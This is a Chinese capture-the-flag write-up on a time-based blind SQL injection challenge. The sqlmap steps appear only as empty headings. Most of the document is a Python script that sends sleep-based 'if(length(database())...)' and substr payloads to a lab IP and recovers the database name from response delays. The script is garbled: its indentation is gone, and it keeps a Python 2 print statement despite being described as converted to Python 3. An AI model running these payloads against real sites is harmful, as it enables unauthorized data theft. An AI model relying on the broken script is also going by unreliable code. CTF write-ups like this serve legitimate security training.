一、关卡题目
题目提示是一个时间注入漏洞
二、打开题目
三、我们输入时间盲注的语句检测一下
四、由于时间注入的手工检测方式必须要一下一下比对或者是用二分法,都特别的费时,此刻就可以使用我们的SQLmap来进行注入
爆数据库:
结果:
爆表名:
爆flag表的列名:
获取flag字段的内容:
五、在网上看到了一个自己写的Python的脚本来进行时间的盲注,在此处粘下来,一起学习学习,进行了些微改动,原先的脚本应该是基本Python2.7,改为Python3可以运行。
#encoding=utf-8
#时间盲注脚本
import requests
import time
payloads = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789@_.}{,'
#存放跑出的结果
length=0
database=''
table=''
print("start get length...")
for l in range(1,21):
startTime1=time.time()
url1 = "http://192.168.37.147/pentest/test/time/?type=1 and if(length(database())=%d,sleep(5),1)"%(l)
response1 = requests.get(url1)
if time.time() - startTime1 > 5:
length=l
print("the length is " + str(length))
break
print ('start database sql injection...')
for d in range(1,length+1):
for payload in payloads:
startTime2=time.time()
url2 = "http://192.168.37.147/pentest/test/time/?type=1 and if(substr(database(),'%d',1)='%s',sleep(5),1)"%(d,payload)
response2 = requests.get(url2) #发送请求
if time.time() - startTime2 > 5: #判断是否延时了5秒 也就是 是否执行了函数sleep(5)
database+=payload
print database
break
print ("the database is " + database)